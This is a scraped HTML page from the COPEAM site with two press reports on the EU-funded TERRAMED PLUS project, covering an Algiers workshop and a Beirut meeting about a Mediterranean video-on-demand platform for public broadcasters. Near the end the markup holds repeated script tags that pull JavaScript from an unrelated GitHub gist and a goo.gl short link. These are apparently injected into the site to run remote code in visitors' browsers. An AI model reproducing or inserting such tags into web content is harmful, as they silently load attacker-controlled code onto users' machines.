Content |
<p> | | |
<br /> | | |
Algiers, 3-4 June 2013<br /> | | |
<span data-scayt_word="EPTV" data-scaytid= "73">EPTV</span> Headquarters,<br /> | | |
<br /> | | |
| | <div style="text-align: justify;"><img alt="" src="/userfiles/ image/logo_EMAV.jpg" /><br /><span data-scayt_word="TERRAMED" data-scaytid= "1">TERRAMED</span> PLUS project - submitted to the European Commission by an international partnership having RAI as leader - <strong>is co-funded by the European Union in the framework of the <span data-scayt_word="Programme" data-scaytid= "2">Programme</span> <span data-scayt_word="Euromed" data-scaytid= "3">Euromed</span> Audiovisual III.<br /><a href="http:// www.terramedplus.tv/ en/"><strong><br />www.terramedplus.tv<br /></strong></a><a href="http:// www.rai.tv/dl/ RaiTV/programmi/ media/ContentItem-a8b51ce4- 928c-4cc3-a074- 5d2cbc242caf- copeam.html#p= 0"><strong><br /></strong></ a><strong>Watch the project’s trailer </strong><strong></strong><a href="http:// www.rai.tv/dl/ RaiTV/programmi/ media/ContentItem-a8b51ce4- 928c-4cc3-a074- 5d2cbc242caf- copeam.html#p=0"><strong> </strong></a><br /><br /></strong> |
| | <iframe width="560" height="315" src="//www.youtube.com/ embed/m8AV1IhRk1Y?list= PLu8m7zH6iTYTXJInBPU29g4prm0L_SaKd" frameborder="0" allowfullscreen= ""></iframe> |
| | <br />The activities envisaged by the project, launched on the <strong><span data-scayt_word="1st" data-scaytid= "4">1<sup>st< /sup></span> March 2011</strong>, will be implemented within <strong>30 months</strong>. <span data-scayt_word="TERRAMED" data-scaytid= "5">TERRAMED</span> PLUS gathers seven broadcaster partners from the North and the South of the Euro-Mediterranean region: <strong>RAI</strong>, supported by <strong><span data-scayt_word="COPEAM" data-scaytid= "7">COPEAM</span> </strong>in the international coordination of the action, <strong><span data-scayt_word="ARTE" data-scaytid= "8">ARTE</span> France</strong>, the Algerian public television <strong><span data-scayt_word="EPTV" data-scaytid= "9">EPTV</span></strong>, <strong>France <span data-scayt_word= "Télévisions" data-scaytid= "10">Télévisions< /span></strong>, the Spanish public television <strong><span data-scayt_word="RTVE" data-scaytid= "11">RTVE</span> </strong>and the Moroccan one <strong><span data-scayt_word="SNRT" data-scaytid= "12">SNRT</span></strong>, <strong><span data-scayt_word= "TéléLiban" data-scaytid= "13">TéléLiban</span> </strong>as associated partner. <strong><span data-scayt_word="Skylogic" data-scaytid= "14">Skylogic< /span>/<span data-scayt_word="Eutelsat" data-scaytid= "15">Eutelsat< /span></strong> is the technological partner of the consortium. |
| | <span data-scayt_word="TERRAMED" data-scaytid= "16">TERRAMED</span> PLUS will propose a <strong>weekly satellite “window”</strong> promoting the <span data-scayt_word= "programmes" data-scaytid= "36">programmes</span> broadcast by the TV partners aiming at portraying and showing the Mediterranean through a sort of shared <em>mosaic-programming schedule.</em> |
| | In addition to the satellite promotion, the project proposes the carrying out of a web platform conceived so to include a <strong>video-on-demand library</strong>, where <strong>115 hours of products</strong> (documentaries, short films, feature films, fiction and animated films) by the participating televisions will be accessible free in streaming and in sub-titled version. |
| | With the aim to contribute to fostering the circulation of audiovisual works and the development of a regional audience – among the main objectives of the <span data-scayt_word="Euromed" data-scaytid= "38">Euromed</span> Audiovisual III <span data-scayt_word="Programme" data-scaytid= "39">Programme</span> – each partner of the project will enrich the video-library with its own products. |
<img alt="" height="195" src="http://www.copeam.org/ userfiles/image/ 1370264267663.jpg" style="float: left;" width="316" />Representatives from television channels participating in <span data-scayt_word="Terramed" data-scaytid= "75">Terramed</span> Plus met in Algiers with Algerian television <span data-scayt_word="EPTV" data-scaytid= "74">EPTV</span> on June 3 and 4. The two-day workshop was an opportunity to review the project's achievements and reflect on the ways to ensure its sustainability.<br /> | | A crucial role will be played by the two Southern televisions, the Moroccan one (<strong><span data-scayt_word="SNRT" data-scaytid= "42">SNRT</span></strong>) and the Algerian one (<strong><span data-scayt_word="EPTV" data-scaytid= "43">EPTV</span></strong>), in charge respectively of the carrying out and the management of the web platform, and of the production of the Arabic, French and English sub-titles. |
The workshop's opening was attended by the director-general of Algerian Television, <span data-scayt_word="Tewfik" data-scaytid= "81">Tewfik</span> <span data-scayt_word="Khelladi" data-scaytid= "82">Khelladi</span>, the secretary general of the Permanent Conference of Mediterranean Audiovisual Operators (<span data-scayt_word="COPEAM" data-scaytid= "80">COPEAM</span>) Pier Luigi <span data-scayt_word="Malesani" data-scaytid= "84">Malesani</span>, and other representatives from partner television channels supporting the project.<br /> | | |
<br /> | | |
Mr. <span data-scayt_word="Khelladi" data-scaytid= "85">Khelladi</span> explained that "This flagship project aims to generate, expand and maintain an audience in order to give more visibility to audiovisual products on both sides of the Mediterranean Sea". While affirming his hope that new links, new conquests, and other progresses will be made starting from the knowledge piled on in these years of common work, Mr. <span data-scayt_word="Khelladi" data-scaytid= "86">Khelladi</span> called on <span data-scayt_word="COPEAM" data-scaytid= "87">COPEAM</span> to act with "force" to "reduce the gap between the media on both sides of the Mediterranean and increase exchanges on the basis of fairness and mutual respect".<br /> | | |
<img alt="" src="http://www.copeam.org/ userfiles/image/ riunione.jpg" style="width: 300px; height: 183px; float: right;" /><br /> | | |
Participants highlighted technical challenges to the project's development, focusing on the translation of subtitles and metadata from the video <span data-scayt_word="catalogue" data-scaytid= "44">catalogue</span> by a team of technicians and translators at Algeria's <span data-scayt_word="EPTV" data-scaytid= "34">EPTV</span>. Two experts in the creation and development of <span data-scayt_word="VOD" data-scaytid= "45">VOD</span> platforms – <span data-scayt_word="Valerio" data-scaytid= "46">Valerio</span> Caruso, project director at the <span data-scayt_word="Euromed" data-scaytid= "47">Euromed</span> Audiovisual III <span data-scayt_word= "programme's" data-scaytid= "48">programme's</span> monitoring unit and <span data-scayt_word="Tareq" data-scaytid= "49">Tareq</span> <span data-scayt_word= "Abu-Lughod" data-scaytid= "50">Abu-Lughod</span> who created Arabic platform Istikana.com – kick-started reflection on possible future directions for the project's video-on-demand platform terramedplus.tv.<br /> | | |
<br /> | | |
<img alt="" height="155" src="http://www.copeam.org/ userfiles/image/conf.jpg" style="float: left;" width="243" />At the 2-day event's closing press conference, the head of the European Union Delegation in Algeria, Ambassador <span data-scayt_word="Marek" data-scaytid= "102">Marek</span> <span data-scayt_word="Skolil" data-scaytid= "103">Skolil</span>, affirmed that audiovisual cooperation has a prominent place among the tools and means existing in the Mediterranean, highlighting the importance of working together to strengthen the cooperation ties already in place. "The exchange of <span data-scayt_word= "programmes" data-scaytid= "101">programmes</span> in the audiovisual sector promotes intercultural <span data-scayt_word="dialogue" data-scaytid= "105">dialogue</span> and helps people to get a chance to better understand each other thanks to sound and image. This is a key point in succeeding in bridging the gap between both shores of the Mediterranean Sea that have many things in common".<br /> | | |
Bruno <span data-scayt_word="Iovenitti" data-scaytid= "107">Iovenitti</span> (<span data-scayt_word="RaiNews" data-scaytid= "108">RaiNews</span>), <span data-scayt_word="Terramed" data-scaytid= "106">Terramed</span> Plus project leader, presented to the journalists the main aspects of the project, and notably the web platform.</p> | | |
<p> | | |
"<span data-scayt_word="Terramed" data-scaytid= "110">Terramed</span> Plus is a very positive project that should be expanded to the largest possible number of partners" concluded Pier Luigi <span data-scayt_word="Malesani" data-scaytid= "111">Malesani</span>, Secretary General of <span data-scayt_word="COPEAM" data-scaytid= "112">COPEAM</span>.</p> | | |
| | Thanks to this multilateral and innovating project, a partnership of major public broadcasters will be strengthen, the cooperation among the audiovisual professionals of the region will be reinforced and the circulation of Mediterranean creation works will be promoted and encouraged. |
| | <span style="font-size: 10px;"><em>* This document has been produced with the financial assistance of the European Union. The contents of this document are the sole responsibility of <span data-scayt_word="COPEAM" data-scaytid= "49">COPEAM</span> and can under no circumstances be regarded as reflecting the position of the European Union.<br /></em></span><span style="color: #006699;"><span style="font-size: 14px;"><strong> </strong></span></span> |
| | </div><h3><span class="wraptitle"><span class="black" id="pag_title"><span class="tit">TERRAMED PLUS launches the first web platform for Mediterranean TV programmes</span> </span></span></h3> |
| | <em><span class="place" id="eventPlace"><span data-scayt_word="Beyruth" data-scaytid= "116">Beyruth</span>, 17 December 2013</span></em> |
| | <img id="eventImg" style="float: left;" alt="" src="http://www.copeam.org/ UserFiles/Image/Events/395_ IMG-20131218-WA0000.jpg" /> <br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><div style="text-align: justify;">The partners of the project <span data-scayt_word="Terramed" data-scaytid= "1">Terramed</span> Plus - <span data-scayt_word="ARTE" data-scaytid= "2">ARTE</span> France, <span data-scayt_word="COPEAM" data-scaytid= "3">COPEAM</span> (Permanent Conference of the Mediterranean Audiovisual Operators), <span data-scayt_word="EPTV" data-scaytid= "4">EPTV</span>/Algeria, France <span data-scayt_word= "Télévisions" data-scaytid= "5">Télévisions</span>, RAI/Italy, <span data-scayt_word="RTVE" data-scaytid= "6">RTVE</span>/Spain, <span data-scayt_word="Skylogic" data-scaytid= "7">Skylogic</span>, <span data-scayt_word="SNRT" data-scaytid= "8">SNRT</span>/Morocco and <span data-scayt_word= "Télé-Liban" data-scaytid= "9">Télé-Liban</span> – met in Beirut, hosted by the Lebanese public television, to make an assessment on the results of the project and to discuss about possible future developments.The current phase of the project <span data-scayt_word="Terramed" data-scaytid= "10">Terramed</span> Plus will come to an end on 31 December 2013, after three years. The web platform will live on, and thus, the next challenge for the partners is the future of the project. They already committed themselves to explore all the opportunities allowing its continuation.</div><div style="text-align: justify;">Watch the documentaries and fiction films from Algeria, Morocco, Italy, France and Spain subtitled in original language, French, English and Arabic!<br /><iframe width="560" height="315" src="//www.youtube.com/ embed/yY1iFMKfKBo" frameborder="0" allowfullscreen= ""></iframe> |
<script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script>
| | <a href="http:// www.copeam.org/UserFiles/ File/Press/89_ TERRAMED%20Plus%20Beirut_ PR%20EN_17%2012%202013.pdf"><span style="color: #000080;"><span style="text-decoration: underline;"><strong><br />Read the press release<br /></strong></ span></span></a></div><a href="http:// www.rai.tv/dl/ RaiTV/programmi/ media/ContentItem-a8b51ce4- 928c-4cc3-a074- 5d2cbc242caf- copeam.html#p=0"></a> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script>
|